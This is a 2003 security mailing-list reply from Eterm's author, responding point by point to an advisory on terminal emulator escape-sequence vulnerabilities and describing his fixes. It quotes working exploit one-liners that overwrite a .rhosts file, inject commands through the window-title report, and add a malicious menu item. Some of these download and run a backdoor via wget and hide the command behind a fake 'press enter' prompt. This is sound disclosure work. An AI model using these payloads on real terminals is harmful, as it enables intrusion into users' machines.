Re: Terminal Emulator Security Issues

[Michael Jennings <mej () eterm org>]

On Monday, 24 February 2003, at 15:02:52 (-0600),
H D Moore wrote:

> Eterm and rxvt both implement what they call the "screen dump"
> feature. This escape sequence will cause an arbitrary file to be
> opened and filled with the current contents of the terminal
> window. These are the only two tested emulators[1] that still had
> the ability to write to files enabled by default. Although rxvt will
> ignore dump requests for existing files, Eterm[2] will happily
> delete the file and then create it again. Although it is technically
> the same feature, the OSC code used to trigger it is different
> between the two emulators. For rxvt, the screen dump code is 55, for
> Eterm, it is 30.  It is possible to control the entire contents of
> the file by specifying the reset sequence, then the required data,
> followed by the screen dump command.
>
> $ echo -e "\ec+ +\n\e]<Code>;/home/user/.rhosts\a"

As you noted, this is no longer possible with the current release of
Eterm, which has been out for some time now.  I didn't think it was
exploitable until, through a discussion related to this Debian bug:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=141374&archive=yes

I realized the combination of events noted here.  Which is exactly why
it didn't make it into 0.9.2, and why I have been telling anyone who
would listen that 0.9.2 was the only version anyone should be running.

> When the output of the above command is displayed on the terminal,
> it will set the window title to that string. Setting the window
> title by itself is not much of a security issue, however certain
> xterm variants (and dtterm) also provide an escape sequence for
> reporting the current window title. This essentially takes the
> current title and places it directly on the command line. Due to the
> way that most emulators processes the escape sequence, it is not
> possible to embed a carriage return into the window title itself, so
> the user would need to hit enter for it to process the title as a
> command. The escape sequence for reporting the window title is:
>
> $ echo -e "\e[21t"
>
> At this point, the attacker needs to convince the user to hit enter
> for the "exploit" to succeed. There are a number of techniques
> available to both hide the command and encourage the user to "press
> enter to continue". The simplest is to just insert a prompt followed
> by the "invisible" character attribute right before reporting the
> title. Another method is to set the foreground and background colors
> to be the same (all black or white) and hope the user hits the enter
> key when trying to determine what happened.  The following example
> for xterm demonstrates a sequence that downloads and executes a
> backdoor while hiding the command line. The "Press Enter >" string
> should be changed to something appropriate for the attack
> vector. Some likely candidates include "wget internal error: press
> enter to continue" or "Error: unknown TERM, hit enter to continue".
>
> $ echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"
>
> Any terminal emulator that allows the window title to be placed on
> the command-line is vulnerable to this attack. The applications
> which were confirmed vulnerable include xterm, dtterm, uxterm, rxvt,
> aterm, Eterm, hanterm, and putty[1]. The tested applications that
> did not allow the title to be written include gnome-terminal 2.0,
> konsole, SecureCRT, and aterm.

Just for clarification, you might want to specify whether or not aterm
was vulnerable since you listed it twice.  (I'm guessing it wasn't.)

Other than disabling the reporting of the title altogether, I see no
way of "sanitizing" this, as you put it, without blocking potentially
legitimate uses.  So for now I've disabled the sequence you've noted,
along with the other one you didn't mention, until such time as
someone points out what I'm missing.

> Eterm should be given an award for the "Easiest to Compromise"
> terminal emulator.

Ouch...

Based on 0.9.1, I can see where you'd make that statement.  I don't
believe that statement is true, however, with respect to 0.9.2.  I
made a number of mistakes in previous versions trying to enhance
functionality, obviously without giving enough thought to how they
could be misused.  0.9.2 corrects the vast majority, I believe, of
those errors by creating functionality which is accessible only by
user-configured objects and not by escape codes and such.

> The developers based much of their code off of the rxvt and xterm
> source, so Eterm tends to share the same problems as those two
> emulators as well.

Hopefully, that won't be true for much longer.

> If you happen to be running a CVS version of Eterm from between
> February 10th and May 8th of 2001, it was possible to execute an
> arbitrary command just by displaying the following escape sequence:
>
> $ echo -e "\e]6;73;command\a"

Or, change the 73 to a 70.  Closes the window.  Sigh.

> Fortunately, this feature never made it into an official release,
> the "fork-and-exec" ability was replaced by the script action
> spawn() instead.

Which, I'd like to point out for the sake of completeness, can only be
activated by an event binding (key press, menu item, etc.), not by any
escape sequence.

> Both rxvt and aterm support a feature known as the menuBar. This
> feature allows the user to create drop-down menus at the top of the
> terminal screen using both menu configuration files and escape
> sequences. Anyone able to display data on the terminal could modify
> the menu entries in a way that would compromise the system when
> accessed. This type of attack relies more on social engineering, but
> still provides a potential entry point when nothing else is
> available. The example below will create a new top-level menu item
> called "Special" with a single item labeled "Access", when clicked
> it will download and execute a backdoor from http://127.0.0.1/.bd
> and exit the shell.
>
> $  echo -e "\e]10;[:/Special/{Access} wget 127.0.0.1/.bd\rsh bd\rexit\r:]\a\e]10;[show]\a"

I believe some distributions are still shipping with Eterm 0.8.x.
Versions prior to 0.9 could be vulnerable to this problem as well.

> While looking through the screen shots again, Andre gets the idea to
> look at the Eterm documentation and see what other features it
> supports. Not only is the documentation easy to read with plenty of
> examples,

Well, at least *somebody* appreciates the time I spend on
documentation, even if it does get me into trouble.  *wry grin*

> About two hours later, Andre finally manages to get Eterm and its 60
> megabytes of support libraries compiled.

Cute. :-)

> This paper was written by H D Moore, with much help from the rest of
> the Digital Defense Operations Team. I would like to thank Solar
> Designer for providing some great feedback on the original draft and
> Mark Cox for handling the CVE candidate generation and vendor
> coordination.

I'm not sure what "vendor coordination" was done, but I know I was
never contacted.  Just FYI.

For the record, I remain committed to continuing to develop and
innovate, focusing on flexibility and power over minimalism.  Although
this report doesn't make it look that way (doh), I do try very hard to
write code with security in mind.  I'm no expert, certainly not
compared to many of the people on this list, and I do miss things.
But I find the alternative approach of lacking functionality for fear
of screwing something up to be a cop-out.

I accept that I will make mistakes, even though I always strive to
make none.  So I do my best to respond quickly to issues that do
arise.  I have been a member of BUGTRAQ for a number of years now, and
I respect and believe 100% in the principles and practice of full
disclosure.  However, please also feel free to contact me personally
at mej () eterm org if you have any questions or concerns, now or in the
future.

Regards,
Michael

-- 
Michael Jennings (a.k.a. KainX)  http://www.kainx.org/  <mej () kainx org>
n + 1, Inc., http://www.nplus1.net/       Author, Eterm (www.eterm.org)
-----------------------------------------------------------------------
 "A woman broke up with me and sent me pictures of her and her new
  boyfriend in bed together.  Solution?  I sent them to her dad."
                                                   -- Christopher Case